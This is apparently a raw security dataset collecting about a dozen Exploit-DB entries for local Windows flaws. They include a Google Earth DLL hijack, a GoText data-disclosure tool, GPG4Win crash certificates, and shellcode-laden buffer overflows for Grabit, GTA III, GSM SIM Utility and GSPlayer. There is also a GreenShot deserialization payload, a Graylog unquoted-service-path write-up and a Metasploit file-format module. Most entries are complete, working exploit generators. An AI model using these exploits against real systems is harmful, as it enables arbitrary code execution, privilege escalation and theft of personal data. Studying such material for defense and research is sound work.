deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14790
Description: Google Earth 5.1.3535.3218 - 'quserex.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: LiquidWorm

Exploit:
/*

 Google Earth v5.1.3535.3218 (quserex.dll) DLL Hijacking Exploit

 Vendor: Google Inc.
 Product Web Page: http://www.google.com
 Affected Version: 5.1.3535.3218

 Summary: Google Earth lets you fly anywhere on Earth to view
 satellite imagery, maps, terrain, 3D buildings, from galaxies
 in outer space to the canyons of the ocean. You can explore
 rich geographical content, save your toured places, and share
 with others.

 Desc: Google Earth suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local
 level. The vulnerable extension is .kmz thru quserex.dll and
 wintab32.dll libraries.

 ----
 gcc -shared -o quserex.dll googlee.c

 Compile and rename to quserex.dll, create a file test.kmz and put
 both files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
Exploit-DB #963
Description: GoText 1.01 - Local User Informations Disclosure
Type: local
Platform: windows
Date: 2005-04-28
Author: Kozan

Exploit:
/*******************************************************************

GoText 1.01 Local User Informations Disclosure Exploit by Kozan

Application: GoText 1.01
Vendor: StumbleInside Software - www.stumbleinside.com
Vulnerable Description: GoText 1.01 discloses user informations
to local users.


Discovered & Coded by: Kozan
Credits to ATmaCA
Web: www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*******************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>


HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,"rb");

if( di == NULL )
{
fclose(di);
return -1;
}

while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}


char *oku(char *FilePath,char *Str)
{

FILE *di;
char cr;
int i=0;
char Feature[500];

int Offset = adresal(FilePath,Str);

if( Offset == -1 )
return "";

if( (di=fopen(FilePath,"rb")) == NULL )
return "";

fseek(di,Offset+strlen(Str),SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr == 0x0D)
break;
Feature[i] = cr;
i++;
}

Feature[i] = '\0';
fclose(di);
return Feature;
}


int main()
{
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",0,KEY_QUERY_VALUE,&hKey)
== ERROR_SUCCESS)
	{

		lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles,
&dwBufLen);

		if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
		{
			RegCloseKey(hKey);
			printf("An error occured!\n");
			exit(1);
		}

		RegCloseKey(hKey);

	}
	else
	{
		RegCloseKey(hKey);
		printf("An error occured!\n");
		exit(1);
	}

	strcat(prgfiles,"\\GoText\\GoText.bin");

	printf("GoText 1.01 Local User Informations Disclosure Exploit by Kozan\n");
	printf("Credits to ATmaCA\n");
	printf("www.netmagister.com - www.spyinstructors.com \n");
	printf("kozan@netmagister.com \n\n");

	char UserName[BUFSIZE], MailAddress[BUFSIZE], PhoneNumber[BUFSIZE];

	strcpy(UserName,oku(prgfiles,"MyName="));
	strcpy(MailAddress,oku(prgfiles,"MyEmail="));
	strcpy(PhoneNumber,oku(prgfiles,"MyNumber="));

	printf("User Name    : %s\n",UserName);
	printf("Mail Address : %s\n",MailAddress);
	printf("Phone Number : %s\n",PhoneNumber);

	return 0;
}

// milw0rm.com [2005-04-28]
Exploit-DB #9884
Description: GPG2/Kleopatra 2.0.11 - Malformed Certificate
Type: local
Platform: windows
Date: 2009-10-21
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

################################################################
#
# GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC
# Note: 	Part of the GPG4Win Package v2.0.1
# Found By:	Dr_IDE
# Tested On:	7RC, XPSP3
# Usage:	Import the Cert into Kleopatra, GPG2.exe Crashes
#
################################################################

# Seems to only check for the presense of this signature
cert  = ("\x99\x03\x2E\x04\x4A\xDC\xA8\x29\x11\x08\x20");
cert += ("\x41" * 5000);

try:
	print ("[*] Creating evil GPG cert.");
	f1 = open("gpg2_evil_cert.gpg","w");
	f1.write(cert);
	f1.close();
	print ("[*] File created successfully. Import it.");

except:
	print ("[-] Error.");

#[pocoftheday.blogspot.com]
Exploit-DB #10039
Description: GPG4Win GNU - Privacy Assistant
Type: local
Platform: windows
Date: 2009-10-23
Author: Dr_IDE

Exploit:
#######################################################
#
# GPG4Win - GNU Privacy Assistant - GPA.EXE - Crash PoC
# Found By:	Dr_IDE
# Tested On:	7RC, XPSP3
# Usage:	Paste this into GPA Clipboard, Verify.
#
#######################################################

'''

-----BEGIN PGP MESSAGE-----
Charset: ISO-8859-1
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: If you Verify me in Clipboard Mode, I go BOOM!
Comment: This is the absolute minimum of content to cause the crash
Comment: Doesn't seem to overwrite anything though, even @ 10000+ chars

A==
=B00M
-----END PGP MESSAGE-----

'''

#[pocoftheday.blogspot.com]
Exploit-DB #8612
Description: Grabit 1.7.2 Beta 3 - '.nzb' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-05-05
Author: Gaurav Baruah

Exploit:
#!/usr/bin/perl
# Grabit<=1.7.2 Beta 3 (.nzb) SEH Overwrite Exploit
# Coded by: Gaurav Baruah
# Discovery: Niels Teusink
#http://packetstormsecurity.org/filedesc/grabit-overflow.txt.html
# Greetz to Vivek
#Tested on XP SP3 and XP SP2 (en)
my $header1=
"<?xml version=\"1.0\"?>
<!DOCTYPE nzb
  PUBLIC \"-//newzBin//DTD NZB 1.0//EN\"
         \"";

my $shellcode=
"\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe8".
"\x61\xfb\x36\x83\xeb\xfc\xe2\xf4\x14\x89\xbf\x36\xe8\x61\x70\x73".
"\xd4\xea\x87\x33\x90\x60\x14\xbd\xa7\x79\x70\x69\xc8\x60\x10\x7f".
"\x63\x55\x70\x37\x06\x50\x3b\xaf\x44\xe5\x3b\x42\xef\xa0\x31\x3b".
"\xe9\xa3\x10\xc2\xd3\x35\xdf\x32\x9d\x84\x70\x69\xcc\x60\x10\x50".
"\x63\x6d\xb0\xbd\xb7\x7d\xfa\xdd\x63\x7d\x70\x37\x03\xe8\xa7\x12".
"\xec\xa2\xca\xf6\x8c\xea\xbb\x06\x6d\xa1\x83\x3a\x63\x21\xf7\xbd".
"\x98\x7d\x56\xbd\x80\x69\x10\x3f\x63\xe1\x4b\x36\xe8\x61\x70\x5e".
"\xd4\x3e\xca\xc0\x88\x37\x72\xce\x6b\xa1\x80\x66\x80\x91\x71\x32".
"\xb7\x09\x63\xc8\x62\x6f\xac\xc9\x0f\x02\x9a\x5a\x8b\x61\xfb\x36";

my $next_seh = "\xEB\x06\x90\x90";
my $seh = "\xE5\x56\x01\x10" ;   #libeay32.dll
my $file = "test.nzb";

open (nzb, ">./$file") || die "\nCan't open $file: $!";
print nzb "$header1" . "\x41" x 248 . "$next_seh" . "$seh" . "$shellcode";
close (nzb);
sleep 1;
print "\nFile $file successfully created!\n";

# milw0rm.com [2009-05-05]
Exploit-DB #51223
Description: Grand Theft Auto III/Vice City Skin File v1.1 - Buffer Overflow
Type: local
Platform: windows
Date: 2023-04-03
Author: Knursoft

Exploit:
# Exploit Title: Grand Theft Auto III/Vice City Skin File v1.1 - Buffer Overflow 
# Exploit Date: 22.01.2023
# Discovered and Written by: Knursoft
# Vendor Homepage: https://www.rockstargames.com/
# Version: v1.1
# Tested on: Windows XP SP2/SP3, 7, 10 21H2
# CVE : N/A

#1 - Run this python script to generate "evil.bmp" file.
#2 - Copy it to [Your Game Path]\skins.
#3 - Launch the game and navigate to Options > Player Setup and choose skin
"evil".
#4 - Buffer Overflow occurs and calc.exe pops up!

#msfvenom -p windows/exec CMD="calc.exe"
buf =  b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
buf += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
buf += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
buf += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
buf += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
buf += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
buf += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
buf += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
buf += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
buf += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00"
buf += b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
buf += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
buf += b"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65"
buf += b"\x00"
#any shellcode should work, as it seems there is no badchars

ver = 0 #set to 1 if you want it to work on GTA III steam version

esp = b"\xb9\xc5\x14\x21" #mss32.dll jmp esp
bmphdr =
b"\x42\x4D\x36\x00\x03\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00"
#generic bmp header

payload = bmphdr
payload += b"\x90" * 1026
if ver == 1:
    payload += b"\x90" * 112
payload += esp
payload += b"\x90" * 20 #padding
payload += buf

with open("evil.bmp", "wb") as poc:
    poc.write(payload)
Exploit-DB #40538
Description: Graylog Collector 0.4.2 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-14
Author: Joey Lane

Exploit:
# Exploit Title: Graylog Collector Service Path Privilege Escalation
# Date: 10/14/2016
# Exploit Author: Joey Lane
# Software Link: https://github.com/Graylog2/collector
# Version: 0.4.2
# Tested on: Windows Server 2012 R2

Graylog Collector installs as a service with an unquoted service path.  If
the user installs this service in a directory containing a space, this will
create a privilege escalation vulnerability.  To properly exploit this
vulnerability, a local attacker can insert an executable file in the path
of the service.  Rebooting the system or restarting the service will run
the malicious executable with elevated privileges.


This was tested on version 0.4.2, but may affect other versions as well.


---------------------------------------------------------------------------

C:\sc qc GraylogCollector
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GraylogCollector
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\graylog collector\bin\windows\graylog-collector-service-x86.exe //RS//GraylogCollector
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Graylog Collector (GraylogCollector)
        DEPENDENCIES       : Tcpip
                           : Afd
        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"graylog.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
Exploit-DB #51633
Description: GreenShot  1.2.10 - Insecure Deserialization Arbitrary Code Execution
Type: local
Platform: windows
Date: 2023-07-28
Author: p4r4bellum

Exploit:
# Exploit Title: GreenShot  1.2.10 - Insecure Deserialization Arbitrary Code Execution
# Date: 26/07/2023
# Exploit Author: p4r4bellum
# Vendor Homepage: https://getgreenshot.org
# Software Link: https://getgreenshot.org/downloads/
# Version: 1.2.6.10
# Tested on: windows 10.0.19045 N/A build 19045
# CVE : CVE-2023-34634
#
# GreenShot 1.2.10 and below is vulnerable to an insecure object deserialization in its custom *.greenshot format
# A stream of .Net object is serialized and inscureley deserialized when a *.greenshot file is open with the software
# On a default install the *.greenshot file extension is associated with the programm, so double-click on a*.greenshot file
# will lead to arbitrary code execution
#
# Generate the payload. You need yserial.net to be installed on your machine. Grab it at https://github.com/pwntester/ysoserial.net
./ysoserial.exe -f BinaryFormatter -g WindowsIdentity  -c "calc" --outputpath payload.bin -o raw
#load the payload
$payload = Get-Content .\payload.bin -Encoding Byte
# retrieve the length of the payload
$length = $payload.Length
# load the required assembly to craft a PNG file
Add-Type -AssemblyName System.Drawing
# the following lines creates a png file with some text. Code borrowed from https://stackoverflow.com/questions/2067920/can-i-draw-create-an-image-with-a-given-text-with-powershell
$filename = "$home\poc.greenshot"
$bmp = new-object System.Drawing.Bitmap 250,61 
$font = new-object System.Drawing.Font Consolas,24 
$brushBg = [System.Drawing.Brushes]::Green 
$brushFg = [System.Drawing.Brushes]::Black 
$graphics = [System.Drawing.Graphics]::FromImage($bmp) 
$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height) 
$graphics.DrawString('POC Greenshot',$font,$brushFg,10,10) 
$graphics.Dispose() 
$bmp.Save($filename) 

# append the payload to the PNG file
$payload | Add-Content -Path $filename -Encoding Byte -NoNewline 
# append the length of the payload
[System.BitConverter]::GetBytes([long]$length) | Add-Content -Path $filename -Encoding  Byte -NoNewline
# append the signature
"Greenshot01.02" | Add-Content -path $filename -NoNewline -Encoding Ascii
# launch greenshot. Calc.exe should be executed
Invoke-Item  $filename
Exploit-DB #18748
Description: GSM SIM Editor 5.15 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2012-04-18
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking
	
	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'GSM SIM Editor 5.15 Buffer Overflow',
			'Description'     => %q{
					This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15.
				When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer 
				overflow occurs which allows an attacker to execute arbitrary code.
			},
			'License'         => MSF_LICENSE,
			'Author'          =>
				[
					'Ruben Alejandro',
					'chap0 <contact.chap0[at]gmail.com>',
					'Lincoln <lincoln[at]corelan.be>'
				],
			'References'      =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/14258/' ]
				],
			'DefaultOptions'  =>
				{
					'ExitFunction' => 'process',
				},
			'Platform'        => 'win',
			'Payload'         =>
				{
					'Space' => 2000,
					'BadChars' => "\x00",
					'DisableNops' => true,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment #add esp, -3500
				},
			'Targets'         =>
				[
					[ 'Windows XP SP3',
						{
							'Ret'    => 0x00405201, # call esp - SIMEditor.exe
							'Offset' => 810
						}
					]
				],
			'Privileged'      => false,
			'DisclosureDate'  => 'Jul 07 2010',
			'DefaultTarget'   => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.', 'msf.sms']),
		 	], self.class)

	end

	def exploit
		buffer =  rand_text_numeric(target['Offset'])
		buffer << [target.ret].pack('V').unpack("H*")[0]
		buffer << make_nops(30).unpack("H*")[0]
		buffer << payload.encoded.unpack("H*")[0]

		file_create(buffer)
	end

end
Exploit-DB #14098
Description: GSM SIM Utility 5.15 - '.sms' File Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-06-28
Author: chap0

Exploit:
# Exploit Title : GSM SIM Utility sms file Local SEH BoF
# Date          : June 28, 2010
# Author        : chap0 [www.seek-truth.net]
# Download Link : http://download.cnet.com/GSM-SIM-Utility/3000-18508_4-10396246.html?tag=mncol 
# Version       : 5.15
# OS            : Windows XP SP3
# Type of vuln  : SEH
# Greetz to     : Corelan Security Team * Special Greetz to Lincoln
# Advisory      : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-054
# The Crew	: http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.  
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
# Code:
import time
 
print	  "|------------------------------------------------------------------|" 
print     "|                         __               __                      |" 
print     "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |" 
print     "|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |" 
print     "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |" 
print     "| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |" 
print     "|                                                                  |"     
print     "|-------------------------------------------------[ EIP Hunters ]--|" 
print	    "[+] GSM SIM Utility SEH Local Exploit\n"

	

sc =("d9eb9bd97424f431d2b27a31c964"
"8b71308b760c8b761c8b46088b7e"
"208b36384f1875f35901d1ffe160"
"8b6c24248b453c8b54057801ea8b"
"4a188b5a2001ebe337498b348b01"
"ee31ff31c0fcac84c0740ac1cf0d"
"01c7e9f1ffffff3b7c242875de8b"
"5a2401eb668b0c4b8b5a1c01eb8b"
"048b01e88944241c61c3b20829d4"
"89e589c2688e4e0eec52e89cffff"
"ff894504bb7ed8e273871c2452e8"
"8bffffff894508686c6c20ff6833"
"322e[PII_REDACTED]72885c240a89e6"
"56ff550489c250bba8a24dbc871c"
"2452e85effffff[PII_REDACTED]6820"
"[PII_REDACTED]204279686f69746568"
"4578706c31db885c241289e3686b"
"[PII_REDACTED]6c[PII_REDACTED]652068"
"[PII_REDACTED]5468726f31c9884c24"
"1189e131d252535152ffd031c050"
"ff5508")

buf= "A" * 1834 
buf+= "eb069090"
buf+= "F25E4300"    
buf+= "90" * 20
buf+= sc
 
try:
   crash = open("hacked.sms",'w')
   crash.write(buf)
   crash.close()
   print "[+] Visit www.corelan.be port 8800!\n" 
except:
   print "Error occured, look at the code!\n"
time.sleep(2)

print  "[+] Exploit file created!\n"
Exploit-DB #14258
Description: GSM SIM Utility 5.15 - Direct RET Overflow
Type: local
Platform: windows
Date: 2010-07-07
Author: chap0

Exploit:
# Exploit Title : GSM SIM Utility Local Exploit Direct Ret ver.
# Date          : July 07, 2010
# Author        : chap0 [www.seek-truth.net]
# Download Link : http://download.cnet.com/GSM-SIM-Utility/3000-18508_4-10396246.html?tag=mncol
# Version       : 5.15
# OS            : Windows XP SP3
# Greetz to     : Corelan Security Team
# Advisory      : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-054
# The Crew      : http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.  
# If you do, Corelan cannot be held responsible for any damages this may cause.
# Code :
#!/usr/bin/ruby
puts '|------------------------------------------------------------------|'
puts '|                         __               __                      |'
puts '|   _________  ________  / /___ _____     / /____  ____ _____ ___  |'
puts '|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |'
puts '| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |'
puts '| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |'
puts '|                                                                  |'
puts '|                                       http://www.corelan.be:8800 |'
puts '|                                                                  |'
puts '|-------------------------------------------------[ EIP Hunters ]--|'
puts '[*] GSM SIM Utility Local Exploit Direct Ret ver. by chap0.'
puts '[*] Visit seek-truth.net'

crash = "A" * 810
eip = "01524000" #jmp esp
nop = "90" * 10
#message box
code ="d9eb9bd97424f431d2b27a31c964"+
"8b71308b760c8b761c8b46088b7e"+
"208b36384f1875f35901d1ffe160"+
"8b6c24248b453c8b54057801ea8b"+
"4a188b5a2001ebe337498b348b01"+
"ee31ff31c0fcac84c0740ac1cf0d"+
"01c7e9f1ffffff3b7c242875de8b"+
"5a2401eb668b0c4b8b5a1c01eb8b"+
"048b01e88944241c61c3b20829d4"+
"89e589c2688e4e0eec52e89cffff"+
"ff894504bb7ed8e273871c2452e8"+
"8bffffff894508686c6c20ff6833"+
"322e[PII_REDACTED]72885c240a89e6"+
"56ff550489c250bba8a24dbc871c"+
"2452e85effffff[PII_REDACTED]6820"+
"[PII_REDACTED]206279686f69746568"+
"4578706c31db885c241289e36868"+
"[PII_REDACTED][PII_REDACTED]69732068"+
"2053696e6873206f[PII_REDACTED]65"+
"[PII_REDACTED]31c9884c241989e131"+
"d252535152ffd031c050ff5508"

payload = crash + eip + nop + code

sms = File.new( "directret.sms", "w" )
	if sms
	sms.syswrite(payload)
	else
	puts "Unable to create file."
end
Exploit-DB #15417
Description: GSPlayer 1.83a Win32 Release - Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-11-04
Author: moigai

Exploit:
# Exploit Title: GSPlayer 1.83a Win32 Release Buffer Overflow Vulnerability
# Date: 2010/11/04
# Author: moigai
# e-mail: again.liu@gmail.com
# Software Link: http://www.vector.co.jp/download/file/win95/art/fh296344.html
# Version: 1.83a Win32 Release
# Tested on: Windows XP SP3 En (VM)

my $file = "GSPlayer.m3u";

my $junk1 = "\x41" x 257;

#jmp esp from kernel32.dll
my $eip = pack('V',0x7C86467B);
my $junk2 = "Ai7Ai8Ai";
my $nop = "\x90" x 30;

#executes calc
my $shell = 
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

my $payload = $junk1 . $eip . $junk2 . $nop . $shell;
my $rest = "\x42" x (4064 - length($payload));
$payload = $payload . $rest . ".mp3";

print "\n[+] Creating m3u file\n";
open(FILE, ">$file");
print FILE $payload;
close(FILE);
print "[+] File " . $file . " created\n";